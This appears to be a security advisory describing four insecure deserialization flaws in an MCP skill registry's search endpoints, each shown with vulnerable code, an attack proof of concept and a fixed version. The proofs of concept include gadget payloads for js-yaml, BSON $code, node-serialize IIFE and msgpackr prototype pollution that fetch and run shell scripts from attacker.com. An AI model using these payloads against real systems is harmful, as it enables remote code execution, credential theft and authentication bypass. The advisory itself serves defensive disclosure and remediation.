Claude MCP skill insecure deserialization — skill search index and full-text search query endpoints (SA-SKL-DESER58)
SA-SKL-DESER58 identifies four critical insecure deserialization vulnerabilities in MCP skill registry skill search index and full-text search query endpoints. Redis-cached search query configuration deserialized via yaml.load() with DEFAULT_FULL_SCHEMA allows any attacker who can write to the registry's Redis instance to place a !!js/function gadget in queryConfig.onResult, achieving remote code execution on every search result page load; MongoDB-persisted search ranking weights using the BSON Code type at the rankingFn field are passed directly to eval() during result ranking, granting RCE on every search query; a MessagePack-serialized search event queue stored in Redis allows __proto__.skipSearchAuth:true prototype pollution that disables authentication globally for all subsequent search API requests within the same worker process; and node-serialize-based search result aggregation cache accepts IIFE gadget payloads that achieve RCE at aggregation time, reachable from any user viewing skill search results.
yaml.load() DEFAULT_FULL_SCHEMA — !!js/function in queryConfig.onResult achieves RCE at every search result page load triggered by any user searching the registryCode type at rankingFn field triggers eval() during search result ranking at every search query__proto__.skipSearchAuth:true pollutes Object.prototype, disabling authentication for all subsequent search API requests in same workernode-serialize — IIFE gadget achieves RCE at search aggregation time reachable from any user viewing skill search resultsDESER58-001 — yaml.load() on Redis-cached search query config achieves RCE via !!js/function
The MCP skill registry caches search query configuration objects in Redis under keys of the form search:queryConfig:<tenantId>. These objects control full-text search behaviour: result page size, field boosts, highlight fragments, and an optional onResult callback invoked for each result returned from the index. The search query handler reads this configuration on every request using js-yaml's yaml.load() without specifying a schema, which defaults to DEFAULT_FULL_SCHEMA and resolves the !!js/function YAML type into a live JavaScript Function object.
An attacker who can write an arbitrary string to the Redis key — via a misconfigured Redis instance exposed to the registry's internal network, a separate SSRF vulnerability that reaches Redis, or a compromised registry worker process — can store a YAML document containing a !!js/function value at queryConfig.onResult. Because the search handler calls queryConfig.onResult(result) for every hit returned from the search index, the injected function executes in the registry's Node.js process on every search result page load issued by any user. The impact is full server-side RCE with the privileges of the registry worker process, persistent across process restarts because the payload lives in Redis until the cache key expires or is evicted.
// DESER58-001 — VULNERABLE
import yaml from 'js-yaml';
import redis from '../lib/redis.js';
async function getSearchQueryConfig(tenantId) {
const raw = await redis.get(`search:queryConfig:${tenantId}`);
if (!raw) return DEFAULT_QUERY_CONFIG;
// VULNERABLE: yaml.load() with DEFAULT_FULL_SCHEMA resolves !!js/function
return yaml.load(raw);
}
router.get('/api/search', requireSession, async (req, res) => {
const config = await getSearchQueryConfig(req.tenant.id);
const results = await searchIndex.query(req.query.q, {
pageSize: config.pageSize,
fieldBoosts: config.fieldBoosts,
});
// VULNERABLE: config.onResult is the deserialized !!js/function — RCE here
const enriched = results.hits.map(hit => config.onResult ? config.onResult(hit) : hit);
res.json({ hits: enriched, total: results.total });
});
Attack PoC — DESER58-001: Attacker writes a YAML payload containing a !!js/function gadget to the Redis search query config key. The function executes in the registry process on every subsequent search request by any user, exfiltrating environment variables and establishing a reverse shell.
// DESER58-001 — ATTACK PoC
// Step 1: attacker writes payload to Redis (via exposed Redis port or SSRF)
// redis-cli SET search:queryConfig:tenant-123 '
// onResult: !!js/function >
// function(hit) {
// require("child_process").exec(
// "curl https://attacker.com/shell | bash",
// function() {}
// );
// return hit;
// }
// pageSize: 20
// '
// Step 2: any user triggers search — payload executes server-side
// GET /api/search?q=anything
// → config.onResult(hit) fires the injected function for every result
// → RCE in registry process; env vars, secrets, DB credentials exfiltrated
// DESER58-001 — FIXED
import yaml from 'js-yaml';
import redis from '../lib/redis.js';
import { z } from 'zod';
// FIXED: strict Zod schema — onResult is a string enum, never a function
const SearchQueryConfigSchema = z.object({
pageSize: z.number().int().min(1).max(100).default(20),
fieldBoosts: z.record(z.string(), z.number().min(0).max(10)).optional(),
highlightFragments: z.number().int().min(1).max(10).default(3),
onResult: z.enum(['default', 'compact', 'verbose']).default('default'),
});
async function getSearchQueryConfig(tenantId) {
const raw = await redis.get(`search:queryConfig:${tenantId}`);
if (!raw) return DEFAULT_QUERY_CONFIG;
let parsed;
try {
// FIXED: FAILSAFE_SCHEMA — only strings, numbers, booleans; !!js/function rejected
parsed = yaml.load(raw, { schema: yaml.FAILSAFE_SCHEMA });
} catch {
// FIXED: evict poisoned key on parse failure
await redis.del(`search:queryConfig:${tenantId}`);
return DEFAULT_QUERY_CONFIG;
}
const result = SearchQueryConfigSchema.safeParse(parsed);
if (!result.success) {
// FIXED: evict on schema violation — rejects !!js/function and unexpected fields
await redis.del(`search:queryConfig:${tenantId}`);
return DEFAULT_QUERY_CONFIG;
}
return result.data;
}
// Named result-shaping strategies replace arbitrary function execution
const RESULT_STRATEGIES = {
default: (hit) => ({ id: hit.id, name: hit.name, description: hit.description, score: hit.score }),
compact: (hit) => ({ id: hit.id, name: hit.name }),
verbose: (hit) => hit,
};
router.get('/api/search', requireSession, async (req, res) => {
const config = await getSearchQueryConfig(req.tenant.id);
const results = await searchIndex.query(req.query.q, {
pageSize: config.pageSize,
fieldBoosts: config.fieldBoosts,
});
// FIXED: strategy lookup — no dynamic function execution
const strategy = RESULT_STRATEGIES[config.onResult] ?? RESULT_STRATEGIES.default;
const enriched = results.hits.map(strategy);
res.json({ hits: enriched, total: results.total });
});
DESER58-002 — BSON Code type in MongoDB rankingFn field triggers eval() during search result ranking
The MCP skill registry stores per-tenant search ranking weight configurations in a MongoDB collection. Each document includes a rankingFn field that was intended to hold a serialized scoring formula string. Because the MongoDB Node.js driver's default behaviour promotes BSON types to their JavaScript equivalents when promoteValues is not explicitly set to false, a BSON Code value stored at rankingFn is deserialized as a JavaScript Code object. The ranking handler then passes doc.rankingFn.code directly to eval() to compute a numeric relevance adjustment, triggering arbitrary code execution in the registry worker process for every search query that hits the affected tenant's ranking configuration.
The attack surface includes any path that can write a BSON Code value to the searchRankingWeights collection: a privileged admin API endpoint that accepts raw ranking configuration JSON without stripping the BSON $code extended JSON representation, a MongoDB injection vulnerability elsewhere in the registry, or direct database access. Because search ranking is applied on every query, the payload fires continuously at high frequency, proportional to the registry's search traffic volume.
// DESER58-002 — VULNERABLE
import { MongoClient } from 'mongodb';
const client = new MongoClient(process.env.MONGO_URI);
// VULNERABLE: promoteValues defaults to true — BSON Code promoted to Code object
const db = client.db('registry');
async function getRankingWeights(tenantId) {
// VULNERABLE: projection does not exclude rankingFn
return db.collection('searchRankingWeights').findOne({ tenantId });
}
async function applyRanking(hits, tenantId) {
const weights = await getRankingWeights(tenantId);
if (!weights?.rankingFn) return hits;
return hits.map(hit => {
// VULNERABLE: if rankingFn is BSON Code, .code is the raw JavaScript string
// eval() executes attacker-controlled code in registry worker process
const adjustment = eval(
typeof weights.rankingFn === 'object'
? weights.rankingFn.code
: weights.rankingFn
);
return { ...hit, score: hit.score * (adjustment || 1) };
});
}
Attack PoC — DESER58-002: Attacker inserts a BSON Code document into the searchRankingWeights collection via MongoDB extended JSON in an admin API request. Every subsequent search query for the affected tenant triggers eval() of the injected code, achieving persistent RCE proportional to search traffic volume.
// DESER58-002 — ATTACK PoC
// Step 1: attacker sends BSON Code via MongoDB extended JSON in admin API
// POST /api/admin/tenants/tenant-123/search/ranking
// Content-Type: application/json
// {
// "rankingFn": {
// "$code": "require('child_process').execSync('curl https://attacker.com/pwn|bash'); 1.0"
// }
// }
// Step 2: MongoClient stores as BSON Code type (not a string)
// Step 3: every GET /api/search?q=anything for tenant-123 fires:
// eval("require('child_process').execSync(...); 1.0")
// → RCE in registry worker, fires on every single search query
// DESER58-002 — FIXED
import { MongoClient } from 'mongodb';
import { z } from 'zod';
// FIXED: promoteValues:false — BSON Code stays as opaque Code object, never a string
const client = new MongoClient(process.env.MONGO_URI, { promoteValues: false });
const db = client.db('registry');
// FIXED: named strategy enum replaces arbitrary function execution
const RANKING_STRATEGIES = {
titleBoost: (hit) => hit.score * (hit.name?.toLowerCase().includes(hit._query) ? 1.5 : 1.0),
popularityBoost: (hit) => hit.score * Math.log1p(hit.downloadCount || 0),
recencyBoost: (hit) => hit.score * (1 + 0.1 * Math.max(0, 30 - hit.ageDays)),
flat: (hit) => hit.score,
};
const RankingWeightsSchema = z.object({
tenantId: z.string(),
strategy: z.enum(['titleBoost', 'popularityBoost', 'recencyBoost', 'flat']).default('flat'),
titleBoostFactor: z.number().min(1).max(5).optional(),
});
async function getRankingWeights(tenantId) {
const doc = await db.collection('searchRankingWeights').findOne(
{ tenantId },
// FIXED: projection excludes rankingFn entirely — BSON Code never read
{ projection: { _id: 0, tenantId: 1, strategy: 1, titleBoostFactor: 1 } }
);
if (!doc) return null;
const result = RankingWeightsSchema.safeParse(doc);
return result.success ? result.data : null;
}
async function applyRanking(hits, tenantId) {
const weights = await getRankingWeights(tenantId);
if (!weights) return hits;
// FIXED: named lookup — no eval(), no dynamic function construction
const rankFn = RANKING_STRATEGIES[weights.strategy] ?? RANKING_STRATEGIES.flat;
return hits.map(hit => ({ ...hit, score: rankFn(hit) }));
}
DESER58-003 — MessagePack __proto__ prototype pollution in search event queue disables search API authentication
The MCP skill registry publishes search lifecycle events (query received, results returned, click-through recorded) to a Redis stream serialized as MessagePack. A background worker deserializes these events using the msgpackr library with default settings and passes the resulting object to the search analytics pipeline. When useRecords is not set to false, msgpackr will deserialize MessagePack map keys literally, including __proto__. A crafted MessagePack payload containing the key __proto__ with value {"skipSearchAuth": true} pollutes Object.prototype, causing every plain object created subsequently in the same Node.js worker process to inherit skipSearchAuth: true.
The search API authentication middleware performs the check if (req.context.skipSearchAuth) return next() to allow internal service-to-service calls to bypass the session check. Because req.context is a plain object ({}), and Object.prototype has been polluted with skipSearchAuth: true, req.context.skipSearchAuth resolves to true via the prototype chain for every subsequent request handled by the same worker process. This disables authentication for the entire search API surface — GET /api/search, GET /api/search/autocomplete, and GET /api/search/suggestions — for all users until the worker is restarted.
// DESER58-003 — VULNERABLE
import { Unpackr } from 'msgpackr';
import redis from '../lib/redis.js';
// VULNERABLE: default Unpackr — deserializes __proto__ keys literally
const unpackr = new Unpackr();
async function processSearchEventQueue() {
const events = await redis.xrange('search:events', '-', '+', 'COUNT', 100);
for (const [, fields] of events) {
const event = unpackr.unpack(Buffer.from(fields.data, 'base64'));
// VULNERABLE: if event contains __proto__: { skipSearchAuth: true },
// Object.prototype is now polluted for the entire worker process
await analyticsService.record(event);
}
}
// Search API auth middleware — runs after prototype pollution has occurred
function requireSearchAuth(req, res, next) {
// VULNERABLE: req.context is {}, but Object.prototype.skipSearchAuth === true
// so req.context.skipSearchAuth resolves true via prototype chain — bypass
if (req.context.skipSearchAuth) return next();
if (!req.session?.userId) return res.status(401).json({ error: 'Unauthorized' });
next();
}
Attack PoC — DESER58-003: Attacker writes a crafted MessagePack payload to the Redis search event stream. The background worker deserializes it, polluting Object.prototype.skipSearchAuth = true. All subsequent search API requests in the same worker process bypass authentication, allowing unauthenticated access to the full search index and autocomplete endpoints.
// DESER58-003 — ATTACK PoC
import { Packr } from 'msgpackr';
import redis from './redis.js';
const packr = new Packr();
// Craft MessagePack payload with __proto__ key
// msgpackr with default settings serializes plain objects — the key __proto__
// will be written as a literal map key and deserialized back as __proto__
const poisonPayload = packr.pack({
eventType: 'search.query',
query: 'anything',
__proto__: { skipSearchAuth: true }, // prototype pollution vector
});
// Push to search event stream — processed by background worker
await redis.xadd('search:events', '*', 'data', poisonPayload.toString('base64'));
// After worker processes this event:
// Object.prototype.skipSearchAuth === true in that worker process
// All search auth checks bypass: GET /api/search, /autocomplete, /suggestions
// accessible without session for all users hitting that worker
// DESER58-003 — FIXED
import { Unpackr } from 'msgpackr';
import { z } from 'zod';
import redis from '../lib/redis.js';
// FIXED: useRecords:false prevents __proto__ key deserialization
const unpackr = new Unpackr({ useRecords: false });
const SearchEventSchema = z.object({
eventType: z.enum(['search.query', 'search.result', 'search.click']),
query: z.string().max(500),
tenantId: z.string().uuid(),
sessionId: z.string().optional(),
resultCount: z.number().int().min(0).optional(),
clickedSkillId: z.string().optional(),
timestampMs: z.number().int().positive(),
});
function sanitizeDeserialized(obj) {
// FIXED: reject any object containing __proto__, prototype, or constructor keys
if (obj && typeof obj === 'object') {
const dangerous = ['__proto__', 'prototype', 'constructor'];
for (const key of dangerous) {
if (Object.prototype.hasOwnProperty.call(obj, key)) {
throw new Error(`Deserialization rejected: dangerous key "${key}" detected`);
}
}
}
return obj;
}
async function processSearchEventQueue() {
const events = await redis.xrange('search:events', '-', '+', 'COUNT', 100);
for (const [id, fields] of events) {
let raw;
try {
raw = unpackr.unpack(Buffer.from(fields.data, 'base64'));
sanitizeDeserialized(raw);
} catch (err) {
// FIXED: drop poisoned event; alert and continue
await redis.xdel('search:events', id);
await alertService.emit('search.event.poison_detected', { id, err: err.message });
continue;
}
const result = SearchEventSchema.safeParse(raw);
if (!result.success) continue;
await analyticsService.record(result.data);
}
}
// FIXED: auth middleware uses Object.prototype.hasOwnProperty.call — immune to pollution
function requireSearchAuth(req, res, next) {
if (Object.prototype.hasOwnProperty.call(req.context ?? {}, 'skipSearchAuth')
&& req.context.skipSearchAuth === true
&& req.context._internalServiceToken === process.env.INTERNAL_SERVICE_TOKEN) {
return next();
}
if (!req.session?.userId) return res.status(401).json({ error: 'Unauthorized' });
next();
}
DESER58-004 — node-serialize IIFE gadget achieves RCE at search result aggregation time
The MCP skill registry caches aggregated search result metadata — facet counts, category distributions, and popularity rankings derived from search analytics — using node-serialize. This cache is stored in Redis and read on every request to GET /api/search that triggers the result aggregation pipeline. The node-serialize library's deserialization of an object containing a key whose value matches the pattern _$$ND_FUNC$$_function(){ ... }() (an immediately-invoked function expression, IIFE) will call eval() and immediately execute the function body, achieving remote code execution without any further attacker interaction.
The attack surface for injecting a payload into the search aggregation cache includes any path that writes to the Redis key search:aggregation:*: a Redis instance accessible within the registry's internal network, a separate SSRF vulnerability that reaches Redis commands, or a compromised dependency in the aggregation pipeline. Because aggregated search result data is read on every search request and displayed to every user viewing skill search results, the IIFE fires for every user who searches the registry while the poisoned cache entry is live, amplifying the impact to all registry users proportionally to search traffic.
// DESER58-004 — VULNERABLE
import serialize from 'node-serialize';
import redis from '../lib/redis.js';
async function getSearchAggregation(query) {
const cacheKey = `search:aggregation:${hashQuery(query)}`;
const cached = await redis.get(cacheKey);
if (!cached) return null;
// VULNERABLE: node-serialize.unserialize() evaluates _$$ND_FUNC$$_ IIFEs
return serialize.unserialize(cached);
}
async function setSearchAggregation(query, aggregation) {
const cacheKey = `search:aggregation:${hashQuery(query)}`;
// VULNERABLE: node-serialize.serialize() used for storage
await redis.setex(cacheKey, 300, serialize.serialize(aggregation));
}
router.get('/api/search', requireSession, async (req, res) => {
const cached = await getSearchAggregation(req.query.q);
if (cached) {
// VULNERABLE: attacker-controlled IIFE fires here for every user search
return res.json(cached);
}
const results = await searchIndex.query(req.query.q, { pageSize: 20 });
const aggregation = await aggregationPipeline.run(results);
await setSearchAggregation(req.query.q, aggregation);
res.json(aggregation);
});
Attack PoC — DESER58-004: Attacker writes a node-serialize IIFE payload into the Redis search aggregation cache key. The IIFE executes in the registry worker process on every search request by any user while the poisoned cache entry is live (up to the 300-second TTL), achieving high-frequency RCE proportional to registry search traffic.
// DESER58-004 — ATTACK PoC
// node-serialize IIFE gadget payload — _$$ND_FUNC$$_ prefix triggers eval+call
const iife = `{"facets":{"category":{"mcp-tool":42}},"_rce":"_$$ND_FUNC$$_function(){` +
`require('child_process').exec('curl https://attacker.com/pwn|bash',function(){});` +
`return 1;}()"}`;
// Step 1: write to any search aggregation cache key in Redis
// redis-cli SET search:aggregation: ''
// redis-cli EXPIRE search:aggregation: 300
// Step 2: any user performs a search matching the poisoned query hash
// GET /api/search?q=mcp+tools
// → serialize.unserialize(iife) fires IIFE immediately
// → RCE in registry process for every user searching that term for 300 seconds
// High-frequency impact: common search terms (q=tool, q=skill, q=mcp) receive
// thousands of requests per minute — IIFE fires for each one
// DESER58-004 — FIXED
import { z } from 'zod';
import redis from '../lib/redis.js';
// FIXED: Zod schema for aggregation structure — rejects all unexpected fields
const FacetCountSchema = z.record(z.string(), z.number().int().min(0));
const SearchAggregationSchema = z.object({
facets: z.object({
category: FacetCountSchema.optional(),
language: FacetCountSchema.optional(),
license: FacetCountSchema.optional(),
}).strict(),
topSkillIds: z.array(z.string().uuid()).max(20).optional(),
totalMatches: z.number().int().min(0),
queryTimeMs: z.number().min(0),
});
function detectNodeSerializeGadget(raw) {
// FIXED: reject any string containing _$$ND_FUNC$$_ before deserialization
if (typeof raw === 'string' && raw.includes('_$$ND_FUNC$$_')) {
throw new Error('node-serialize IIFE gadget detected in cache payload');
}
}
async function getSearchAggregation(query) {
const cacheKey = `search:aggregation:${hashQuery(query)}`;
const cached = await redis.get(cacheKey);
if (!cached) return null;
detectNodeSerializeGadget(cached); // FIXED: reject before any deserialization
let parsed;
try {
// FIXED: JSON.parse — no code execution, no special type promotion
parsed = JSON.parse(cached);
} catch {
// FIXED: evict poisoned cache entry on parse failure
await redis.del(cacheKey);
await alertService.emit('search.aggregation.poison_detected', { cacheKey });
return null;
}
const result = SearchAggregationSchema.safeParse(parsed);
if (!result.success) {
// FIXED: evict on schema violation
await redis.del(cacheKey);
return null;
}
return result.data;
}
async function setSearchAggregation(query, aggregation) {
const cacheKey = `search:aggregation:${hashQuery(query)}`;
const validated = SearchAggregationSchema.parse(aggregation);
// FIXED: JSON.stringify — produces safe, non-executable serialization
await redis.setex(cacheKey, 300, JSON.stringify(validated));
}
router.get('/api/search', requireSession, async (req, res) => {
const cached = await getSearchAggregation(req.query.q);
if (cached) return res.json(cached);
const results = await searchIndex.query(req.query.q, { pageSize: 20 });
const aggregation = await aggregationPipeline.run(results);
await setSearchAggregation(req.query.q, aggregation);
res.json(aggregation);
});
SkillAudit detection: Run SkillAudit on your MCP skill registry to automatically detect DESER58-class patterns. The scanner statically traces deserialization call sites — flagging yaml.load() calls without FAILSAFE_SCHEMA, MongoClient instances without promoteValues:false, Unpackr without useRecords:false, and all node-serialize usage — and cross-references them with untrusted data sources including Redis keys, MongoDB documents, and message queue payloads. Detection covers IIFE gadget patterns (_$$ND_FUNC$$_), prototype pollution sinks (__proto__ key assignment), and BSON Code/Symbol type promotion chains leading to eval(). The graded report includes file locations, line numbers, data-flow paths, and prioritised remediation guidance. See also SA-SKL-DESER57 compound deserialization chain analysis for related insecure deserialization patterns in dependency manifest and package lock endpoints.